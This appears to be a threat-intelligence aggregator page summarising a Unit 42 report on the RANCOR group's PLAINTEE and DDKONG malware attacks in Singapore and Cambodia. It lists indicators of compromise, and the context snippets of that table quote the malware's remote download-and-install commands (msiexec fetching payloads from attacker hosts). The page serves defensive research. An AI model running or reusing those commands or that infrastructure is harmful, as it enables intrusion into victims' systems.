Threat actormedium
RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families
AI summary · glm-5.3-flashSummaries by Vani AI
Unit 42 names RANCOR, a previously unidentified espionage group targeting Southeast Asian political entities with newly discovered PLAINTEE and DDKONG malware families.
Unit 42 tracks a previously unidentified group it dubs RANCOR conducting highly targeted espionage attacks in Singapore and Cambodia using two custom malware families, DDKONG and PLAINTEE. Attacks appear to have begun with spear phishing, with decoy political news documents hosted on legitimate sites including a Cambodian government website and Facebook. Infrastructure links to IP 89.46.222[.]97 and KHRAT-associated domains such as facebook-apps[.]com, and the activity is grouped into two clusters tied together by PLAINTEE usage and similar targeting.
Key facts
- One delivery used an Excel macro with malicious code hidden in the document's Company metadata field, a technique publicized for Sofacy.
- Cluster B used an HTML Application (.hta) loader sent directly to targets.
- PLAINTEE is rare, with only six samples in Unit 42's dataset, and the two clusters show no infrastructure overlap.
- ATT&CK
- T1566.001 Spearphishing AttachmentT1204.002 Malicious FileT1053.005 Scheduled TaskT1218.005 Mshta
- Vendors
- Palo Alto Unit 42
- Threat actors
- RANCOR
Indicators of compromise
auto-extracted · verify before use · export allAll| Type | Indicator | Context |
|---|---|---|
| domain | facebook-apps.com | t mimic popular technology companies. One of these domains, facebook-apps[.]com, was identified in one of the malware samples associated |
| domain | jdanief.xyz | ject ( "WScript.Shell" ) . Run "msiexec /q /i http:\\dlj40s.jdanief[.]xyz/images/word3.doc" , 0 > % userProfile % \ AppData \ Local |
| ipv4 | 199.247.6.253 | ct ( ^ "Wscript.Shell^" ) : v . Run ^ "msiexec /q /i http://199.247.6.253/ud^" , false , 0 < nul > C : \ Windows \ System32 \ spool \ |
| ipv4 | 45.76.176.236 | Offset Description 0x4 C2 port (0x1f99 – 8089) 0x8 C2 host (45.76.176[.]236) 0x10C Flag used to identify the malware in network commu |
| ipv4 | 89.46.222.97 | 90fe195a2ef109d855 Loader C2 facebook-apps.com (resolves to 89.46.222.97) c35609822e6239934606a99cb3dbc925f4768f0b0654d6a2adc35eca47 |
| md5 | 6fa5bcedaf124cdaccfa5548eed7f4b0 | 4d92bc7d0 SHA1 25ba920cb440b4a1c127c8eb0fb23ee783c9e01a MD5 6fa5bcedaf124cdaccfa5548eed7f4b0 Compile Time 2018-03-14 07:20:11 UTC File Type PE32 executa |
| md5 | 7c65565dcf5b40bd8358472d032bc8fb | 32e38ae78 SHA1 ac3f20ddc2567af0b050c672ecd59dddab1fe55e MD5 7c65565dcf5b40bd8358472d032bc8fb Compile Time 2017-09-25 00:54:18 UTC File Type PE32 executa |
| md5 | a5164c686c405734b7362bc6b02488cb | f9c154ad7 SHA1 03defdda9397e7536cf39951246483a0339ccd35 MD5 a5164c686c405734b7362bc6b02488cb Compile Time 2018-03-28 01:54:40 UTC File Type PE32 executa |
| md5 | d5679158937ce288837efe62bc1d9693 | a473c505d SHA1 0bdb44255e9472d80ee0197d0bfad7d8eb4a18e9 MD5 d5679158937ce288837efe62bc1d9693 Compile Time 2018-04-02 07:57:38 UTC File Type PE32 executa |
| sha1 | 03defdda9397e7536cf39951246483a0339ccd35 | c9574cb24b78fb533f6e92d35bc6451770f9f6001487ff9c154ad7 SHA1 03defdda9397e7536cf39951246483a0339ccd35 MD5 a5164c686c405734b7362bc6b02488cb Compile Time 2018-03-2 |
| sha1 | 0bdb44255e9472d80ee0197d0bfad7d8eb4a18e9 | 6239934606a99cb3dbc925f4768f0b0654d6a2adc35eca473c505d SHA1 0bdb44255e9472d80ee0197d0bfad7d8eb4a18e9 MD5 d5679158937ce288837efe62bc1d9693 Compile Time 2018-04-0 |
| sha1 | 25ba920cb440b4a1c127c8eb0fb23ee783c9e01a | 502907e1d036cdf76f62b0308b2676ebdfc3a51dbab614d92bc7d0 SHA1 25ba920cb440b4a1c127c8eb0fb23ee783c9e01a MD5 6fa5bcedaf124cdaccfa5548eed7f4b0 Compile Time 2018-03-1 |
| sha1 | ac3f20ddc2567af0b050c672ecd59dddab1fe55e | 947f0e86eed0c26c76805b13ca2d47ecbdb61fd07917732e38ae78 SHA1 ac3f20ddc2567af0b050c672ecd59dddab1fe55e MD5 7c65565dcf5b40bd8358472d032bc8fb Compile Time 2017-09-2 |
| sha256 | 0517b62233c9574cb24b78fb533f6e92d35bc6451770f9f6001487ff9c154ad7 | During runtime, the following plugin was identified: SHA256 0517b62233c9574cb24b78fb533f6e92d35bc6451770f9f6001487ff9c154ad7 SHA1 03defdda9397e7536cf39951246483a0339ccd35 MD5 a5164c686 |
| sha256 | 0bb20a9570a9b1e3a72203951268ffe83af6dcae7342a790fe195a2ef109d855 | ted to this IP address: SHA256 Description Connection to IP 0bb20a9570a9b1e3a72203951268ffe83af6dcae7342a790fe195a2ef109d855 Loader C2 facebook-apps.com (resolves to 89.46.222.97) c356 |
| sha256 | 119572fafe502907e1d036cdf76f62b0308b2676ebdfc3a51dbab614d92bc7d0 | For the analysis below, we used the following file: SHA256 119572fafe502907e1d036cdf76f62b0308b2676ebdfc3a51dbab614d92bc7d0 SHA1 25ba920cb440b4a1c127c8eb0fb23ee783c9e01a MD5 6fa5bceda |
| sha256 | 1dc5966572e94afc2fbcf8e93e3382eef4e4d7b5bc02f24069c403a28fa6a458 | o 2 / RU SYSTEM Cluster B Case 2: Delivery via HTA Loader - 1dc5966572e94afc2fbcf8e93e3382eef4e4d7b5bc02f24069c403a28fa6a458 In this case the attackers sent an HTML Application file (. |
| sha256 | 6aad1408a72e7adc88c2e60631a6eee3d77f18a70e4eee868623588612efdd31 | ,helloworld2,sqmAddTostream,DllEntryPoint microsoftfuckedup 6aad1408a72e7adc88c2e60631a6eee3d77f18a70e4eee868623588612efdd31 The following actions are performed with the additional fun |
| sha256 | a789a282e0d65a050cccae66c56632245af1c8a589ace2ca5ca79572289fd483 | w. Cluster A Case 1: Delivery via document property macro – a789a282e0d65a050cccae66c56632245af1c8a589ace2ca5ca79572289fd483 In our research we found at least one attack against a comp |
| sha256 | b099c31515947f0e86eed0c26c76805b13ca2d47ecbdb61fd07917732e38ae78 | or that sample. The retrieved plugin was as follows: SHA256 b099c31515947f0e86eed0c26c76805b13ca2d47ecbdb61fd07917732e38ae78 SHA1 ac3f20ddc2567af0b050c672ecd59dddab1fe55e MD5 7c65565dc |
| sha256 | bcd37f1d625772c162350e5383903fe8dbed341ebf0dc38035be5078624c039e | es have additional unique differences: Hash Functions Mutex bcd37f1d625772c162350e5383903fe8dbed341ebf0dc38035be5078624c039e helloworld helloworld1,helloworld2,sqmAddTostream,DllEntryP |
| sha256 | c35609822e6239934606a99cb3dbc925f4768f0b0654d6a2adc35eca473c505d | d855 Loader C2 facebook-apps.com (resolves to 89.46.222.97) c35609822e6239934606a99cb3dbc925f4768f0b0654d6a2adc35eca473c505d PLAINTEE Hosted on 89.46.222.97 Digging in further, the mal |
From the original article
14 min read at unit42.paloaltonetworks.com
Throughout 2017 and 2018 Unit 42 has been tracking and observing a series of highly targeted attacks focused in South East Asia, building on our research into the KHRAT Trojan . Based on the evidence, these attacks appear to be conducted by the same set of attackers using previously unknown malware families.
By Tom Lancaster, Brittany Barbehenn · unit42.paloaltonetworks.com
A short excerpt; the article and its images belong to the publisher. Summary, key facts and assessment above are AI-written from the article and can be wrong.